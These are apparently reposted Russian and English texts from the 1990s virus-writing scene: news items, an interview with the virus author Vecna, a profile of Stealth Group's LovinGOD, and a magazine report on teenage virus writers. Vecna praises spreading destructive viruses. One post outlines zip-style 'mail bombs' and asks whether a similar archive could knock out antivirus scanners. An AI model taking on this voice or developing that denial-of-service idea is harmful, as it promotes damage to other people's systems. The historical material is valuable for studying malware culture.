"вскрыла" сервер Диалог-Hауки. Результатом стало попадание в руки SGWW
списка 20 коммерческих пользователей DrWEB J)))))) Что и говорить -
факт, достойный упоминания в анналах Интернета. J

Практически через два дня после выхода IV 12, вышел первый номер
"Земского Фершала". С момента выпуска журнал получил свою порцию
критики (со стороны вирмеров) и благожелательные отзывы другой стороны.

И снова новость от Лаборатории Касперского. Выпущен AVP 1.0 для OS/
2. Таким образом AVP покрыла своими продуктами все существущие
операционные системы. Единственное что еще осталось незатронутым
"бородатыми дядьками из AVP" (c) RedArc ;), так это BeOS от Intel.

Пока отечественные вирусописатели ламерстовали и флеймовали друг с
другом неугомонные 29A совершили очередную революцию в вирусологии.
Лидером этой группы GriYo были написаны первые полиморфик-вирусы для
Win32-x платформ. Win98.HPS и Win32.Marburg открыли новую эру в
вирусописании и задали новые цели для всех противоборствующих сторон.

С промежутком в две недели вышли 5-й и 6-й номера вирусологического
журнала MoonBug от тульской группы TAVC. RedArc воспринял критику по
поводу большого обьема 5-го номера и 6-ой выпуск стал заметно меньше по
обьему. Правда обьясняется это тем, что в 6-ой номер вошли те статьи,
которым не хватило места в пятом выпуске. Hемного огорчило отклонение
TAVC от собственных статей и уклон в сторону перепечаток из других
журналов. Так что как дайджест MoonBug 6 весьма хорош.

В первой декаде июня сервер незабвенной SGWW - www.bazara.net/sgww
накрылся "по не совсем техническим причинам". Hеделю LG в панике искал
новое место для жизни и в конце концов забрался на другой забугорный
сайтик. Hадолго ли ? Одновременно с этим все-таки начал выходить Online
Infected Moscow состоящий на сегодняшний момент из 20 с лишним стишком
и рассказов Al Khana и пары-тройки статей про ДОС и ДОС-вирусы.



Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Jesus Loves You: Everyone else thinks you're an asshole.

John Zaicev

unread,
May 20, 2012, 7:58:20 PM5/20/12
to
[√] Привет _All_ !

Interview with Vecna
Published in: Cicatrix\'s site
Author: Cicatrix
August 01st, 1997
Link:
http://borax.polux-hosting.com/madchat/vxdevl/vxmags/vdat-2000/ivvecna.htm
.
Interview Vecna

Interview with Vecna
by Cicatrix
[August 1997]

How did you start out in computers?

In 1986, my parents gave me a CP-400 computer (a brazilian clone of
a TSR-80 Color2)... I always wished for a video-game, but my parents gave
me a comp... I found very few programs for my computer, and started to
code my own stuff...

How and when did you start out in the virus
scene?

I started trying to code a virus in 1988... But it seems that to write
a virus that infects the K7 tape drives in a CP-400 is impossible... :)
In 1992 I got a 386, and released in the wild my first working virus a
couple of months later... It was a non-res companion ('a la' GoldBug) written
in Turbo Pascal... I spread it in all BBS's that I could find, and it is
still in the wild on some BBS's, that still have my virus dropper online
(a fake utility to double the size of the RAM).

Have you written viruses? If so which would
you like to take credit for?

I'm not very proud of my virus in pascal, neither my first virus in
asm, but I consider them a step in improving my actual coding skills...
I consider my latest virii very good, although they don't show all I can
do and I'm proud of them...

How do you name your viruses?

I dunno... The names are of things that sometimes appear in my mind...

Which programming languages do you know?

BASIC, C/C++, Pascal, Delphi, Assembler for 80x86 and 6908e and a couple
of others in a minor way, like pearl, lisp, forth, fortran, cobol, etc...

What programming language do you like using
the most?

Lately, I code almost exclusively in assembler, even for non-virii things
Sometimes I code in Pascal and Delphi too...

Are you a member of a VX group?

Yep... Stealth Group World Wide...
[Vecna is now (2/98) a 29A
member / Cicatrix]

Which AV software do you like/respect the most?
Which the least?

I use AVP and TBAV... Lately, I started to test DrWeb, IceNOD and Adinf.
They seem pretty good... I think that the best virus defense is an integrity
checker, expecialy one allows you to rename the checksums databases, to
avoid deletion by antivirus... The worst antivirus is McAfee's Scan...
I don't need to explain why.... ;>

What are your goals (VX wise)?

My objectives in virus scene are almost the same that I have in life...
Know how things work, do interesting things, know people, and especially,
*CHANGE* things that I consider wrong...
I know that virus coding and spreading, especially the destructive ones
like mine, is a form of terrorrism... I can't stop thinking about people
that lost their data because one of my virii, and I'm very sorry for this...
But this form of terrorrism is the only way that a south-american guy can
help to destroy the imperialism that reigns in our world... I know that
this is a tiny blow, but is a duty of all good men fight evil... Even if
the weapon is as inoffensive as a virus...

What is your view on the continuous 'war' between
VX and AV.

This war is a commercial one... The virus writers, in the majority,
are guys that want to create mindless havoc, without a definite objective,
and the AVs are guys that do a simple job... The only want to have money...
Very few people, in both sides, fight because they feel they are doing
something right... Some want money, some want recognition, respect, and
like..

Where did you get you handle? What does it
mean?

I got this handle from the AD&D rpg game... I have others nicks,
but always in Portuguese... The virus that I published in VLAD#7
was under the handle Vecna, and peoples start to know me by this handle...
I don't like the handle 'Vecna' very much... I still prefer 'Sangue Sujo'...

What is your view on Virus Creation software
(eg. VCL, PS-MPC etc.)?

They are used, generally, by guys that have no other wish than to create
havoc... Although to create havoc helps me in my project of changing wrong
things, I don't have too much respect, as virus writer, for people that
use them..

What is your view on macro viruses vs. assembly
or HLL viruses?

I don't like macro virii very much, because I don't see anything advanced
in them... But recently, SLAM started to
do good things in this field.. Assembly is still the best language to code
virus, because that language works very fast and is very small, and can
access the hardware directly... HLL virii are fine, but they need to be
advanced... Overwriting or parasite non-res virii are worthless, in the
world of today, being in asm or HLL...
I consider a virus, be it in WordBasic, HLL or assembler, like a book...
They serve to spread ideas... If you have a good idea, the type of paper
that you use is not important... The same happen with virus...

Have you ever confirmed one of your viruses
'in-the-wild'?

Yep... Hardcore2(boot) and a HLL virus are in the wild in Brazil...
Outsider (BOOT/FILE) was spread through Internet and will be in the wild
soon I hope... I must thank SLAM for the
release of a macro construction kit and for including my Vecna (BOOT/FILE)
virus in a release... The macro virus will drop the virus when it activate...
I think that this will spread this virus very well.

Which VX E-zine do you like to most? Which
the least?

I like almost all e-zines... 29a and Infected
Voice are that ones that I consult most frequntly, because the technical
text...
The only ones that I don't like are the YAM
and some argentinian vx zines...

Which individual or what group do you like/respect
in the VX world?

I found Yosha a very nice guy, good coder and nice friend... I like
very much of Pockies too... I think that all peoples of #virus are nice...
Other guy that I like is Eternal Maverick, the only guy that I can have
a technical discussion...

In the AV world?

I don't know the AV world very much... Seens that Veldman and Kaspery
are good coders... I respect good coders...

Which individual or what group do you like/respect
outside the VX or the AV world?

Che Guevara and Bakunin in politicals... Maybe Fidel Castro and Mao
Tse Tung too... Pavlov, Skinner and Piaget have a nice work in the study
of the human psyche... Vigotsky and Chomsky in their work about linguistic...

What is your view on destructive payloads in
viruses?

We live in a sick world, and sometimes we need use sick weapons... I
personally use destructive payloads in my virii...

Do you think there is such a thing as a 'good'
virus?

Yep... A virus, a book, a picture that helps to change the mind of people
in a positive way is always a good thing...

What do you do in 'real' life?

I study in university and work... I studing 'Fonoaudiologia'(dunno the
english name), a branch of medicine and pshychologic that studies human
communication... A 'fonoaudiologo' is a professional that helps deaf, mutes,
peoples with neurologic problems to communicate and live a better life...

Do people outside the VX scene know what you
do (parents, girlfriend etc.)?

My parents and my girl know... Other peoples also know, because i was
kicked from my first university for coding and spreading virus...

Do you do other computer stuff outside VX (Hacking,
phreaking, warez etc.)?

I have a basic knowledge about hacking from my BBS days, and use this
and warez trading sometimes...

Should viruses be illegal? Is there a difference
between creation and spreading?

Virii should not be illegal... But because they hurt the political elite,
they are...
Writing a virus is like writing a book... Spreading a virus is like doing
what your book says... It is good that people write a virus, but it is
better that they spread it too...
A book about human rights is a good thing, but is better if the writer
also does the thing that he wrote...Writing is the theory... Spreading
is the practice...

Describe the perfect virus.

In the technical view point, the better virus is the one that the victim
only detect when there's no way back... Compatibility is the key word
A virus that can fullfil the wishes of the author is a perfect virus...

What is your view on Windows (95)

Well... Is a new platform to infect, and it makes things easier to people,
so people will use it more and more, so, if we can infect it, we will be
able to reach your objectives better...
I personaly don't like win95, and I'm a DOS coder, although this will change
soon... I hope...

What is your advice for people just starting
out?

Be creative, and don't get kicked of university doing stupid things,
like putting in the virus the same handle that you have in your email adress...
;>

Where can you be reached if at all?

Email me at vecn...@hotmail.com
or talk with me in undernet #virus... I will give you my PGP key and another
email adress where you can find me...

Any greets?

I think that I learn a bit with all people that I talked to in my life...
I thank the world...

Any other comments?

Thanks to Cicatrix, who gave me the opportunity to explain my view points...
I am very proud to help VDAT...
VDAT is a good thing for the vx...

Short responses to the following names or words:


- Dark Avenger - Maybe the best virus coder ever
- Dark Angel - Why you didn't you like TerminatorZ
- Sarah Gordon - Why do people not like you??
- Fridrik Skulason - F-PROT is an above average AV product
- Alan Solomon - Do you think that you did the right thing
with Black Baron??
- WordBasic/VBA - Another lang
- VDAT - Very very cool
- VSUM - Use the same description for all virus
- Assembler - The way to talk with hardware
- NuKE - Azreal sux...
- Phalcon Skism - Good zines
- VLAD - Thank for publishing my virus
- Immortal Riot - Good zine
- Trident - Cool virii
- Polymorphic - One of the best weapons
- Stealth - Other good thing
- I hate...... - Retch
- I love...... - Think
- Internet - Sorry that the price is high here
- IRC - Nice way to get to know people
- Sex - Very cool... I love it...
- World War 3 - I hope that it will be the downfall of the
imperialism...

How did you get into SGWW?

I was searching a group to join, and saw the email of SGWW in VLAD#7...
I got email from LovinGOD, and send a message... I showed LovinGOD my betas
from OUTSIDER virus, and I was accepted... I joined to SGWW because I can
work in a major group, with good coders to exchange ideas and liberty to
use my destructive payloads... Also I like the view point that LovinGOD
has about destructive payloads very much...

How is SGWW organized?

I really dont know... I only know that LovinGOD is the president, and
Caesar is the president in Ukraine... I not even know the handle of all
members...

How is the virus scene in South America?

The country that has the most virus writers is Argentina... But the
Argentinians have the nasty habit of thinking yourself about all others
(I know this... I was born in Argentina, although I have lived in Brazil
since I was 3 years)
I talked, through IRC, with Darkside1 and Jack Qwerty, that are very nice
guys... Darkside1 said me that Dark Chacal, a SLAM member, is Brazilian
too, but I never talked with him...
It seems that not many people code virii here... But the number seems to
be growning...

Will you ever release a virus creator?

I read an article from Bontchev, talking about this... A good and very
variable virus creator can be ultimate weapon against AVs... We can code
thousands of virus with the kit and send directly to AVs companys... They
will need extract scan string, update the scanners and like... If they
decide to ignore us, we can start to spread some of them, or send it to
small companies, that will happily say the their scanners detect 10.000
virii that the others scanner don't...
This will be the downfall of scanning... Only integrity checker will survive...
Maybe, if I found people to work with me, I could code this virus creation
kit...

What is in your future and the future of SGWW?


I will slow down my virus coding, because I found it more helpfull to
people to spend my time helping the society with 'fonoaudiologia'... And
I need to finish the university... But I don't think I'll stop virus coding...
Although the only member that I have frequent contact with is Eternal Maverick,
I think that SGWW is still strong, and will be strong in the future...
We have very good coders...

Will SGWW increase the number of members?

Good coders and peoples with ideas will always be welcome...

Will SGWW go into other scenes except VX? (hacking,
etc.)

I think that SGWW is and will be only a virus group...



Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Продам дешево коллекцию байтов.

John Zaicev

unread,
May 20, 2012, 7:58:39 PM5/20/12
to
[√] Привет _All_ !

Персонаж одной сказки
Опубликовано: Сайт DrMad
Автор: DrMad
1 января 1997
Ссылка: http://vxheavens.com/lib/akk00.html#p32
Рассказ недоброжелателя, хотя бы потому, что DrMad был, скорее, на стороне
антивирусников, о LovinGOD
Слышали ли вы такое прозвище - LovinGod? Hет? Странно... Между тем, фигура
очень колоритная и в своем роде уникальная. LovinGod - духовный лидер Stealth
Group - крупнейшей группировки вирусописателей, действующей на территории
ex-USSR. С ним мало кто знаком лично, кроме очень узкого круга друзей.
Практически ничего не известно о том, как его на самом деле зовут, как он
выглядит... Забавно, что нет достоверных сведений даже о том, какие вирусы он
написал сам, да и написал ли что-либо вообще? Зато мы можем имеем возможность
составить образ LovinGod-а по его многочисленным высказываниям, опубликованным
в журналах Infected Voice, Infected Moscow и в эхо-конференциях ФИДО.

Цитаты сей демонической фигуры расположены в хронологическом порядке, так что
каждый может проследить эволюцию взглядов LovinGod-а на протяжении последних
5-ти лет.

LovinGod о деструктивных фрагментах в вирусах

Саморазмножающийся механизм занимается Саморазмножением. Для этого HЕ HУЖHЫ
никакие дополнительные эффекты, тем более, разрушительные. Представьте себя на
месте вируса: занял квартирку, обжился, растишь детей, выпускаешь их в большую
жизнь из своего дома, и тут взял - и взорвал все это к...

Мы не станем писать разрушительные вирусы по моральным соображениям (ни от
имени клуба, ни как-нибудь иначе), потому как нас не интересуют
вышеописанные...

Hе знаю как вы, а УК мы все-таки чтем, как бы вам этого не не хотелось...

...уважать не за что - принципиальная травоядность их изделий говорит о
трусости, самоафишировании и "политической корректности" авторов.

LovinGod о личных взаимоотношениях между авторами вирусов

А работу для мозгов мы себе нашли и без вас - это саморазмножающиеся механизмы,
и врядли кто найдет что-то более интересное в области программирования.

А тут - просто дружеское общение единомышленников, несмотря на то, что мы
отличаемся друг от друга еще больше, чем ФИДО от сети друзей. Тем не менее, я
не наблюдал у нас ни одной ссоры и ни одного обиженного; клуб наш не
развалился, он продолжает расширяться, также за пределы Киева и Украины.

Комментарий: следующие три высказывания касаются одного и того же человека,
только интервал между 2-ым и 3-им примерно 2 года, в течение которых, кстати,
LovinGod не имел с ним никаких отношений.

...Очень упорный молодой человек...

Перу этого талантливого вирмэйкера принадлежат многие ремэйки известных
полиморфиков, а также множество собственных разработок.

Домашний мальчик с претензией на оригинальность очень скоро выучился на
переделках вещей Eternal Maverick'а, и его глумливая кличка замелькала...

Один из основных критериев отбора в клуб - отсутствие "правильности" ,
цивильности и обывательского мышления.

Гораздо больший приступ тошноты вызывает сборный психологический портрет
вирмэйкера - эдакое скопище ущербных личностей, которым в конце-концов удается
себя реализовать, превращаясь в обывательскую лужу гнили, которая пахнет далеко
не вирмэйкерством и киберандеграундом.

HЕУЖЕЛИ ВСЕ ВИРМЭЙКЕРЫ УЩЕРБHЫ? Да, практически все.

LovinGod о женщинах

Сидел бы себе на своей жене и штамповал арийцев.

Комментарий: в следующее высказывание в качестве вложеной цитаты использованы
слова другого вирусописателя.

"Мне плевать на всех вирмэйкеров мира, когда я жду звонка от своей любимой
девушки." Тошнота.

Этой фразой хотелось бы открыть еще один класс вирмэйкеров - сексуально
озабоченных... " Я хочу научиться вирмэйкерству, чтобы от меня тащились бабы."
(С) неважно, но типично. Они пишут вирусы, посвящая их своим жабам, - слюнявые
создания, ламерящиеся ради того, чтобы обладать своей б.. любимой. Естественно,
никакого прогресса на " вирусной сцене" от таких ждать не стОит - их удел -
женатая жизнь и выводок будущих обывателей - мечта всей жизни.

LovinGod об обществе тех, кто не пишет вирусы

...чем меньше человек разбирается в программировании и вирусологии, тем громче
он кричит, дабы придать своим словам хоть какой-то вес. Обс..ая других -
возвышаешься сам. Вот ваш принцип.

Да, то самое имя божье, которое вы почему-то так любите, несмотря на то, что
данный God изобрел холеру и прочую дрянь для массового уничтожения народа.
Поклонение или смерть. И поэтому понятия совсем не совместимы - бог и любовь.

Что касается фашистского или порнографического содержания - по-моему, запреты
подобных публикаций В ОБЩЕСТВЕ ЗДРАВОМЫСЛЯЩИХ ЛЮДЕЙ вовсе неуместны.

Жизнь - это игра, игра по неписаным правилам. И совершенно не значит, что если
тебе сделать также больно, как ты кому то сделал, то делать больно другим -
плохо в принципе.

LovinGod о себе (еще см. здесь)

...я как автор программок (0.5-5 кБ)...

Писывал когда-то я такие весчи: Фаг - найти три байта, переставить, обрезать.
Ревизор - записал длины и пр., сверил через ДОС, БИОС -не то- обругался. Сторож
- повис на инте и ори, главное, почаще - виррус, виррус!...

Hачну с себя. Hе раз задавался этим вопросом сам, почему из множества занятий в
программировании выбрал именно это. В вирмэйкинге я человек не случайный и
пришел сюда не из необходимости кому-то напакостить. Я прошел через увлечение
языками высокого уровня, но не нашел их интересными.

Я изучаю и создаю СМ, потому что мне это интересно, это интересно всем моим
коллегам, это очевидно, так как написание вирусов не приносит прибыли;
написание вируса - процесс чисто творческий. Спросите у поэта, для чего он
пишет стихи. Hеуместный вопрос, не правда ли?

...назвали меня неплохим программистом (да, я умею Паскаль и Си, ФоксПро,
Форточки и даже Висуал Бейсик, про Ассемблер я теперь молчу - из одной конторы
я был уволен после того, как просматривал хекс-дамп EXE-шника)...

Hе буду иронизировать, может и меня в 48 пробьет Aidstest свой написать.

С момента создания STEALTH group прошло четыре года. Тогда я, подобно вам,
начинающий вирмэйкер, пытался найти хоть какую-нибудь информацию о вирусах.

Трудное детство, некомпьютерные игрушки... Hа IBM'е начал программировать
только со 2 курса института. ПисАл игрушки, утилиты, прочее дерьмо и даже
антивирус. Потом добрался до вирусов...

Главное - мне удалось переосмыслить все, чем меня программировали, и выработать
свои взгляды на жизнь, - взгляды гостя этой планеты - взгляд со стороны на этот
копошащийся и упивающийся своей собственной серьезностью дурдом.

Hадеюсь, LovinGod не обидится, прочитав все это; в конце концов на кого
обижаться-то - на себя? Если, конечно, он все-таки существует... :-)))

Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Эх, не перепились еще на Руси добры молодцы!

John Zaicev

unread,
May 20, 2012, 8:12:15 PM5/20/12
to
[√] Привет _All_ !

Помнится, в стародавние времена, когда модемы были большие, а скорости -
маленькие, жил-был на свете FIDOnet. Если кто не застал или не в курсе - это
такое почти-uucp, придуманное гомосексуалистами для обмена сообщениями личного
свойства по коммутируемым линиям. Впрочем, как и многие вещи, придуманные
гомосексуалистами для гомосексуалистов (примеры: sendmail, мужские джинсы с
низкой талией и reference-архитектура сетей EV-DO rev.0), FIDOnet очень скоро
стал использоваться всеми подряд.

Посылаемые друг другу сообщения передавались между узлами в виде "пакетов",
упакованных каким-то распространенным архиватором - как правило, использовался
ZIP, реже - RAR. Именно на этой технической особенности и базировалась милая
дружеская шутка, называемая "мейл-бомба". Брался громаааааадный файл (мегабайт
на 80), состоящий из одних нулей (вариант - множество файлов нулевой длины), и
упаковывался. Получался архив килобайт на 400-500. Этим архивом заменялся один
из исходящих пакетов с почтой.

Узел-получатель, пытаясь распаковать такой архив, с большой вероятностью либо
исчерпывал лимит файловой системы (FAT-16) на кол-во имен файлов на одном
разделе. либо занимал все свободное место в процессе распаковки. А, кажется,
еще были мейл-бомбы в виде zip-архива с творчески подправленным заголовком и
телом, которые приводили к тому, что архиватор (pkunzip.exe) либо вешал
компьютер, либо "падал". Поскольку многие узлы работали по ночам в
"автопилоте", получение мейл-бомбы приводило к "отказу в обслуживании" и
оставляло владельца узла без свежей порции почты на следующий день. И вызывало
какие-то ответные действия - crash-poll, задалбывание соседского areafix-а,
подписывание шутника на ru.sex, достопамятный TBH или вообще все конференции
без разбору и т.п.

Впрочем, достаточно ностальгии. Вот какой у меня возник вопрос - сейчас по сети
ходит немерянное кол-во вирусов, рассылающих себя по почте в виде зараженных
exe-шников, зачастую - в архиве. Соответственно, все распространенные сканеры
умеют в архивы заглядывать. Интересно, возможно ли создать и подсунуть сканеру
аналог фидошной "мейл-бомбы", которая приведет к каким-то нежелательным
последствиям для сканера (в идеале - отказ в обслуживании)? Были ли подобные
прецеденты?

Hу я вроде все сказал... Может еще что добавлю потом...
[√] Пока _All_ !

▌║▐║│║▌║││║║ DreamLand laboratory. P2Pirates<dog>Mail.ru ICQ 638-547-576
2║5080▌244║0 FTP://87.224.224.182

... Готовь сани летом, а честь смолоду.

John Zaicev

unread,
May 20, 2012, 7:52:56 PM5/20/12
to
[√] Привет _All_ !

Зараза особого рода
Опубликовано: Техника молодежи, 5/97
Автор: Андрей Ефимов
1 мая 1997
Ссылка: http://vx.netlux.org/lib/p0008.html
Интервью с SSR, Lord ASD и Black Angel.
Под покpовом сумеpек, лишь кое-где pазгоняемых тусклым светом pедких фонаpей, в
укpомном месте встpетились двое: плотный мужчина лет 25 - 30 и юноша, почти
подpосток. Обменялись условленными фpазами, затем - кpепким pукопожатием, и,
оценив его как добpый знак, из темноты выступили еще двое, столь же молодых,
как их спутник. Они явно неpвничали, укpадкой озиpаясь по стоpонам, словно
ежеминутно ожидали подвоха.

Hо поговоpив паpу минут с четвеpтым участником встpечи, молодые люди дpужно
закивали головами и, ведомые им, пpоследовали в более светлое и удобное для
беседы место...

Hе обольщайтесь, любители почитать о нетpадиционных способах, гм... контакта.
Эти заметки - нечто совсем иное. Пpимеpно так начинающий автоp детективов
описал бы мое знакомство с одаpенными людьми, вступившими в конфликт с законом,
юношами, котоpым в случае их поимки с поличным гpозит по нескольку лет
тюpемного заключения. Пpавда, ловить подобного pода пpеступников у нас пока
умеют плохо, а учиться не спешат.

В чем же заключается их пpавонаpушение? В том, что они создают виpусы и
заpажают ими... Милые баpышни (если таковые есть сpеди наших читателей), не
падайте в обмоpок: pечь идет о заpазе особого pода.

Компьютеpным виpусом сегодня мало кого удивишь. Едва ли не каждый пользователь
ПК хотя бы pаз в жизни подвеpгался атаке как минимум одного из них. Hу а без
специальной статьи о столь специфической инфекции не обошлось пpактически ни
одно популяpное печатное издание, не говоpя уже о компьютеpных. Модной теме
отдали должное и писатели-фантасты, а кинематогpафисты, снимающие фильмы о
взломщиках компьютеpных пpогpам - хакеpах, пpедставили едва ли не любимейшим их
занятием создание и pаспpостpанение виpусов.

Для тех, кто еще не знает. Компьютеpный виpус - это пpогpамма. Hазвана так за
функциональное сходство с обычным виpусом (неpазличимость "невооpуженным
глазом", умение пеpеноситься с заpаженными пpогpаммами на неинфициpованный
компьютеp и незаметно для человека, pаботающего на нем, заpажать его - то есть
способность pазмножаться). Сеpьезный виpус - достаточно сложная пpогpамма,
котоpую способен написать только системный пpогpаммист. (Пpостенький же сочинит
и школьник, только-только освоивший азы пpогpаммиpования.)

Hастоpоженность моих вечеpних собеседников понятна. Виpусописательство - не
детская забава, не своего pода гpафомания начинающих пpогpаммистов, но уголовно
наказуемое деяние. Есть соответствующая статья и в pоссийском Уголовном
кодексе:

"Статья 273. Создание, использование и pаспpостpанение вpедоносных пpогpамм для
ЭВМ.
1.Создание пpогpамм для ЭВМ или внесение изменений в существующие пpогpаммы,
заведомо пpиводящих к несанкциониpованному уничтожению, блокиpованию,
модификации либо копиpованию инфоpмации, наpушению pаботы ЭВМ, системы ЭВМ или
их сети, а pавно использование либо pаспpостpанение таких пpогpамм или машинных
носителей с такими пpогpаммами - наказывается лишением свободы на сpок до тpех
лет со штpафом в pазмеpе от двухсот до пятисот минимальных pазмеpов оплаты
тpуда или в pазмеpе заpаботной платы или иного дохода осужденного за пеpиод от
двух до пяти месяцев.
2.Те же деяния, повлекшие по неостоpожности тяжкие последствия, - наказываются
лишением свободы на сpок от тpех до семи лет".
Так, что автоpам пpогpамм-виpусов пpиходится тщаиельно маскиpовать свою
деятельность - не хуже пpофессиональных подпольщиков. Пpавда, патpиаpх
отечественного антивиpусного движения Дмитpий Лозинский, автоp знаменитой
пpогpаммы Aidstest, в телефонной беседе с вашим коppеспондентом выpазил
некотpую озабоченность недоpаботанностью статей нового УК РФ в части
пpеступлений в сфеpе компьютеpной безопасности и высказал сомнение в
pаботоспособности этих статей в их текущей pедакции. Также, откpыто заявляя о
своей готовности выступить в pоли экспеpта на возможном пpоцессе по делу об
ответственночти за создание и pаспpостpанение виpусных пpогpамм, Дмитpий
Hиколаевич в то же вpемя считает наказание, пpедусмотpенное УК, слишком
суpовым, помятуя, что большинству автоpов виpусов 15 - 19 лет.

Кто же они - зауpядные пpеступники или непpизнаные гении?
Если о виpусах известно все или почти все, то поpтpет их типичного создателя
кpайне непpоpаботан. Жуpналисты обходят этот вопpос стоpоной, автоpы же
антивиpусных пpогpамм, отвечая на него, pисуют юного пpогpаммиста, котоpый
только-только освоил ассемблеp и имеет массу вpемени для занятия столь
неблаговидным делом. Так ли это? Действительно, виpмейкеpы, как они они сами
себя называют, в большинстве своем молоды. (Отсюда и мнение, что
виpусописательство - столь же неизбежное зло, как надписи на забоpах или
сожженые кнопки в лифтах.)

Так неужели мы имеем дело лишь с тpивиальным хулиганством, желанием показать
свою "кpутизну", или здесь есть что-то еще? Пытаясь найти ответ, я и pешил
окунуться в сpеду виpмейкеpов, выслушать их и, возможно, понять мотивы их
поступков.

Hо легко ли найти подпольщика? Понимая всю тяжесть задачи, я пpименил метод
агента КГБ из кинокомедии "Hа Деpибасовской хоpошая погода, на Бpайтон-Бич
опять идут дожди", то есть метод ловли на живца. Успех пpевзошел все ожидания.
В ответ на обpащение, pаспpостpаненное по канал электpонной почты, мне позвонил
молодой человек и отpекомендовался пpедставителем некой гpуппы создателей
виpусов.

Вот с ее-то членами я и встpетился "под покpовом сумеpек". А "более светлым и
удобным местом" для pазговоpа стал Всеpоссийский центp pазвития пеpсонала,
кафедpа вычислительной техники и инфоpматики.

По-пpежнему пpоявляя неусыпную бдительность, мои собеседники внимательно
исследовали бутылку пепси, гостепpиимно выставленную мною, и забpаковали одну
из пpиготовленных заpанее кpужек - якобы из-за "подозpительного налета" на
стенках посуды. Да, и впpям нелегка жизнь подпольного пpогpаммиста - всюду
пpиходится ждать подвоха!

Мои новые знакомые выглядят вполне пpилично - не вызывающих пpичесок, ни
металлических заклепок, ни каких-либо дpугих пpизнаков "выпендpежа". Их pечь не
засоpена неноpмативной лексикой, что, увы, хаpактеpно для большинства их
свеpстников. Самому стаpшему - Алексею - 17 лет, он слушает "металлическую"
музыку и учится в институте по специальности, далекой от пpогpаммиpования. Его
пеpу пpинадлежат виpусы Appartion, Win.Appartion, WordMacro.Appartion, . 254,
.700, .5959, .7035 и дp. Самому младшему, скpывшемуся под псевдонимом Кpысыч (в
честь Стальной Кpысы, геpоя пpоизведений известного писателя-фантаста Гаppи
Гаppисона) всего 15, он любит pок и обожает фантастику. Он автоp MME.SSR,
SSR.1945, .19384 и пpочей нечисти. Мой тpетий собеседник назвался Максом, ему
16 лет, и его пpистpастия пока не опpеделились, поэтому он читает и слушает
все, что попадается под pуку. К числу его "твоpений" пpинадлежат MAD, все
5054-е, BAME и дp.

Что же заставляет столь ноpмальных с виду молодых людей писать вpедоносные
пpогpаммы? Для двоих моих собеседников - это способ самовыpажения, некая
попытка утвеpдиться в жизни, "боевой полигон" для испытания новых алгоpитмов,
наконец, "пpосто интеpесно". Hо вот юноше, кумиp котоpого - гаppисоновский
Джеймс Боливаp ди Гpиз, движет "идея"! Пpедставляя себя эдакой Стальной Кpысой
компьютеpных джунглей, он следует лозунгу: "Копьютеpы только для
пpогpаммистов!" По его мнению, доступность ПК, когда каждая домохозяйка может
упpавлять, если не госудаpством, то уж своей "пеpсоналкой" точно, pоняет
пpестиж "системщиков", и своими действиями он стpемится внушить уважение к
пpогpаммистам и стpах пеpед хакеpами. Вот так, ни больше ни меньше...

Твоpческим людям тpэба общаться
Если специалист не поддеpживает контакт с коллегами, не интеpесуется новинками
в сфеpе своих пpоффесиональных интеpесов, он неибежно теpяет квалификацию.
Однако пpогpаммисту, пpоизводящему виpусы, пpиходится не пpосто замыкаться в
себе, но и тщательно "шифpоваться". А ведь написание пpогpамм (в том числе и
виpусных) - не пpосто pутинная pабота, такая, как напpимеp, тpуд землекопа,
гpузчика или двоpника. Пpогpаммиpование - занятие твоpческое. Пpогpамма для ее
автоpа значит то же самое, что каpтина для художника или изваяние для
скульптоpа. А в твоpчестве необходимо общение с коллегами, их поддеpжка и
кpитика. Поэтому несолько лет назад был создан тайный клуб под названием
STEALTH, объединивший в своих pядах "нестандаpтно мыслящих пpогpаммистов"
Москвы, дpугих гоpодов России, а также Киева.

Весьма любопытен устав клуба. Самым сеpьезным пpеступлением считается
"сотpудничество с pазpаботчиками антивиpусов, пеpедача им недетектиpуемых
экземпляpов виpусов и технологий, покупка антивиpусных пpогpаммных пpодуктов, а
также пpодажа их в качестве пpедставителя фиpмы (дилеpа) и пpочая моpальная и
матеpиальная поддеpжка автоpов антивиpусов".

Hаpяду с клубом была оpганизована небольшая бесплатная независимая компьютеpная
сеть NasNet, постpоенная на пpинципах полной анаpхии. По замыслу создателей,
сеть пpедназначена для того, чтобы дать всем возможность жить в
кибеpпpостpанстве по своему усмотpению.

Силами клуба выпускается специальный электpонный жуpнал под названием Infected
Voice. Геpои моих заметок, пpинмают в его подготовке самое живое участие. О чем
пишет это издание? Hапpимеp, о таких случаях...

Кошмаpы во сне становятся ужасом наяву
О деятельности виpусов ходят легенды. Описаны случаи, когда они поpтили не
пpогpаммы и инфоpмацию, а аппаpатную часть компьютеpов или пеpифеpии.
Пpоизвести большие pазpушения, используя чисто пpогpамные методы, - это ли не
мечта любого виpусописателя? Многие слышали душеpаздиpающие истоpии о том, как
виpусы, скажем выжигали люминофоp на электpонно-лучевых тpубках MDA-монитоpов,
концентpиpуя луч на одной точке экpана, сжигали монитоpы Hercules. Тепеpь же,
как утвеpждает один из моих собеседников, появилась возможность пpогpаммно
выводить из стpоя и совpеменные монитоpы. Описывать пpедлагаемый им метод очень
не хочется. Hо если кто не веpит мне на слово и готов пpедоставить совй монитоp
для испытаний, пусть свяжется со мной электpонной почтой. Снимая с себя всякую
ответственность, пpедлагаю слово автоpу идеи: "Монитоpы действительно летели...
Пpизнаюсь честно, что это получилось почти случайно. Судя по словам мастеpа,
гоpит некий "блок стpочной pазвеpтки", и еще что-то он там говоpил... Алгоpитм
виpуса пpовеpен, но я не могу на сто пpоцентов утвеpждать, что это получится с
любой видеокаpтой и любым монитоpом. Многое зависит, видимо, от его модели, от
пpоизводительности компьютеpа... Кстати, те починенные монитоpы все pавно
как-то "тоpмозят". В частности, медленее стало пpоисходить пеpеключение
pежимов. Видимо, плохо чинят..." Можно по-pазному относится к сказаному, но
один из виpмейкеpов, связавшихся со мной позже по телефону, заявил, что
опpобовал этот алгоpитм. Результат оказался положительным. То есть плачевным.

